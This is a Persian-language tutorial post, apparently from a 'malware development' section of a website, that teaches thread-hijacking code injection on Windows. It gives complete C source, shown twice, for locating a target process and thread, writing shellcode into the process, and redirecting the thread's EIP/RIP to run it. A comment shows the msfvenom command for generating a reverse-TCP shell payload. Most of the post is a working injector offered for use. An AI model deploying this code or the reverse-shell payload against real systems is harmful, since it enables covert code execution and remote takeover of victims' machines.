تزریق کد با تکنیک Thread Hijacking

نخ ها واحد های اجرایی در پروسه ها و در هر پروسه در حال اجرا ، حداقل یک نخ (Thread) اجرایی وجود دارد . یکی از روش های مرسوم تزریق کد به نام Thread Hijacking به این روش عمل میکند که بدافزار یکی از نخ های در حال اجرا در پروسه هدف را وادار به اجرای کد دلخواه میکند . این روش با تغییر مقدار ثبات EIP یا RIP در نخ مربوطه انجام میشود . همانطور که میدانید ثبات EIP (در معماری x86) یا RIP (در معماری x86-64) یک ثبات ۳۲ یا ۶۴ بیتی است که حاوی آدرس دستورالعمل بعدی در حافظه است که پردازنده اجرا خواهد کرد حال اگر ما مقدار این ثبات را طوری تغییر دهیم که به کد دلخواه ما اشاره کند در نتیجه دستورالعمل های بعدی که پردازنده اجرا خواهد کرد ، کد ما خواهد بود .
مراحل کلی انجام Thread Hijacking
1 – ابتدا یک پروسه را به عنوان پروسه هدف انتخاب کرده و PID آن را بدست می آوریم .
۲ – فضای حافظه ای را در پروسه هدف Allocate کرده و shellcode دلخواهموان را در آن محوطه مینویسیم .
۳ – نخ های پروسه هدف را سرشماری کرده و TID یکی از نخ های آن را بدست می آوریم (نخ های نیز مانند پروسه ها یک عدد منحصر به فرد مثل PID دارند که به آن TID میگوییم)
۴ – اجرای نخ مربوطه را موقتا متوقف میکنیم و Context آن را دریافت میکنیم . Context یک نخ حاوی مقدار ثبات های CPU در آخرین لحظه از اجرای آن نخ است .
۵ – مقدار ثبات آدرس دستورالعمل (EIP یا RIP) را در Context نخ تغییر میدهیم تا به آدرس shellcode نوشته شده در مرحله ۲ اشاره کند و نخ را که در مرحله قبل متوقف کرده بودیم را دوباره به ادامه اجرا میگذاریم .
با طی کردن طی این ۵ مرحله یکی از نخ های پروسه به طور ناگهانی میان اجرای کد هایش تغییر مسیر میدهد و shellcode دلخواه ما را اجرا میکند . از آنجایی که مقدار ثبات EIP که آدرس دستورالعمل بعدی که قرار است اجرا شود را نگه میدارد را تغییر میدهیم ، پس از به اجرا گذاشتن نخ با ثبات تغییر یافته ، دستورالعمل بعدی که نخ اجرا خواهد کرد ، شروع shellcode ما خواهد بود .
پیاده سازی تابع پیدا کردن PID پروسه هدف
ابتدا به تابعی نیاز داریم تا PID مربوط به پروسه هدف را بر اساس اسم آن برای ما پیدا کند . مثلا اگر میخواهیم حمله را روی پروسه notepad پیاده کنیم ، به آن بگوییم notepad.exe و او به ما PID مربوط به notepad را برگرداند . این تابع را در پست “پیدا کردن PID بر اساس اسم پروسه در C” نیز نوشته بودیم و کامل آن را توضیح داده ایم. در صورت ابهام به پست مربوطه مراجعه نمایید . این تابع در ورودی اسم پروسه هدف را گرفته و در ورودی در غالب یک عدد ۴ بایتی PID آن را بر میگرداند :
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
پیاده سازی تابع پیدا کردن یک نخ (Thread) برای تزریق در پروسه هدف برای
پس از آن که PID پروسه هدف را بدست آوردیم نیاز داریم TID یکی از نخ های آن پروسه نیز بدست آورده تا عمل تغییر EIP (در ویندوز ۳۲ بیت) یا RIP (در ویندوز ۶۴ بیت) را در آن نخ انجام دهیم . تابع زیر اینکار را برای ما خواهد کرد. این تابع PID پروسه هدف را در ورودی گرفته و TID اولین نخ آن را به ما بر میگرداند . در پست “سرشماری اطلاعات با تابع CreateToolhelp32Snapshot” نحوه سرشماری نخ های یک پروسه را کامل توضیح داده ایم . در صورت ابهام به پست مربوطه مراجعه کنید .
DWORD findThreadInProcess (DWORD pid){
DWORD result = 0;
/* get snapshot of all threads in system */
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , 0);
THREADENTRY32 thread = { 0 };
thread.dwSize = sizeof(THREADENTRY32);
/* enumarating each thread of system */
result = Thread32First(snapshot , &thread);
while (result){
/* check if this thread belongs to our target process
by checking its owner process ID */
if (thread.th32OwnerProcessID == pid){
/* this is our thread 🙂 */
return thread.th32ThreadID;
}
result = Thread32Next(snapshot , &thread);
}
return 0;
}
پیاده سازی تزریق در تابع main
بالاخره بعد از تعریف دو تابع مورد نیاز در بالا حالا در تابع main برنامه عمل تزریق کد را طبق مراحل کلی که در بالا ذکر شد پیاده سازی میکنیم :
unsigned char shellcode[] = "<OUR SHELLCODE>";
int main (int argc , char ** argv){
if (argc < 2){
printf ("USAGE : %s <TARGET PROCESS NAME>\n" , argv[0]);
return -1;
}
/* Obtaining PID of target process */
DWORD pid = findMyProc(argv[1]);
if (!pid){
printf ("[-] I couldn't find %s\n" , argv[1]);
return -1;
}
/* ******************************* */
HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS , 0 , pid);
/* allocating space for shellcode in target process */
void *address = VirtualAllocEx(target_process , 0 , sizeof(shellcode) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE);
/* writing shellcode to allocated area in target process */
DWORD written ;
WriteProcessMemory(target_process , (void*)address , (void*)shellcode , sizeof(shellcode) , &written);
printf ("[+] %d bytes of shellcode written in targert process\n" , written);
/* Hijacking a thread inside target process */
DWORD tid = findThreadInProcess (pid) ;
printf("[+] PID : %d\n[+] TID : %d\n" ,pid , tid);
HANDLE thread = OpenThread(THREAD_ALL_ACCESS , 0 , tid);
SuspendThread(thread) ;
/* getting context of thread in target process */
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(thread , &context);
/* change EIP to injected shellcode (for 32 bit windows) */
context.Eip = (DWORD)address ;
/* if we were on 64 bit windows :
context.Rip = (DWORD_PTR)address;
*/
/* setting changed context to target thread */
SetThreadContext(thread , &context);
ResumeThread(thread);
/* **************************************** */
return 0 ;
}
ابتدا در خط اول یک shellcode دلخواه برای اجرا در نخ هدف تعریف کرده ایم . سپس با بهره گیری از توابع findMyProc و findThreadInProcess که در بالا تعریف کردیم ابتدا پروسه هدف را باز کرده سپس یکی از نخ های آن پروسه را با استفاده از تابع OpenThread باز کرده . بعد از آن در خط 34 نخ هدف را به وسیله تابع SuspendThread متوقف کرده و Context آن نخ را دریافت کردیم . برای دریافت Context یک نخ ابتدا باید یک ساختار CONTEXT تعریف کنیم (خط 37) سپس عضو ContextFlags را برابر CONTEXT_FULL قرار دهیم به این معنی که میخواهیم کل اطلاعات Context نخ را دریافت کنیم (خط 38) و در نهایت با فراخوانی تابع GetThreadContext بر روی نخ مورد نظر ، Context آن را دریافت کنیم (خط 39).
در اینجا چون کد را برای سیستمی ۳۲ بیتی کامپایل میکنیم از دستور خط 42 برای تغییر مقدار Eip استفاده کرده ایم . اما اگر روی سیستم 64 بیت بودیم میتوانیم از دستور کامنت شده در خط 45 به جای آن استفاده کنیم که تنها تفاوت در این است که اسم ثبات آدرس دستورالعمل متفاوت است .
نهایتا بعد از این جریانات Context تغییر یافته را روی نخ اعمال کرده ایم(خط 49) و نخ مورد نظر را به ادامه اجرا گذاشته ایم (خط 50) .
کد منبع کامل
کد منبع کامل حمله Thread Hijacking و تصویر اجرای آن روی یک ویندوز ۳۲ بیتی با استفاده از یک shellcode از نوع shell_reverse_tcp :
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char shellcode[] = "SHELL REVERSE TCP SHELLCODE";
/* shellcode is generated using :
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -o shellcode.c
*/
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
DWORD findThreadInProcess (DWORD pid){
DWORD result = 0;
/* get snapshot of all threads in system */
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , 0);
THREADENTRY32 thread = { 0 };
thread.dwSize = sizeof(THREADENTRY32);
/* enumarating each thread of system */
result = Thread32First(snapshot , &thread);
while (result){
/* check if this thread belongs to our target process
by checking its owner process ID */
if (thread.th32OwnerProcessID == pid){
/* this is our thread 🙂 */
return thread.th32ThreadID;
}
result = Thread32Next(snapshot , &thread);
}
return 0;
}
int main (int argc , char ** argv){
if (argc < 2){
printf ("USAGE : %s <TARGET PROCESS NAME>\n" , argv[0]);
return -1;
}
/* Obtaining PID of target process */
DWORD pid = findMyProc(argv[1]);
if (!pid){
printf ("[-] I couldn't find %s\n" , argv[1]);
return -1;
}
/* ******************************* */
HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS , 0 , pid);
/* allocating space for shellcode in target process */
void *address = VirtualAllocEx(target_process , 0 , sizeof(shellcode) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE);
/* writing shellcode to allocated area in target process */
DWORD written ;
WriteProcessMemory(target_process , (void*)address , (void*)shellcode , sizeof(shellcode) , &written);
printf ("[+] %d bytes of shellcode written in targert process\n" , written);
/* Hijacking a thread inside target process */
DWORD tid = findThreadInProcess (pid) ;
printf("[+] PID : %d\n[+] TID : %d\n" ,pid , tid);
HANDLE thread = OpenThread(THREAD_ALL_ACCESS , 0 , tid);
SuspendThread(thread) ;
/* getting context of thread in target process */
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(thread , &context);
/* change EIP to injected shellcode (for 32 bit windows) */
context.Eip = (DWORD)address ;
/* if we were on 64 bit windows :
context.Rip = (DWORD_PTR)address;
*/
/* setting changed context to target thread */
SetThreadContext(thread , &context);
ResumeThread(thread);
/* **************************************** */
return 0 ;
}
این آموزش متعلق به بخش توسعه بدافزار است
برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید
علاقه مند به دنیای کامپیوتر ها ...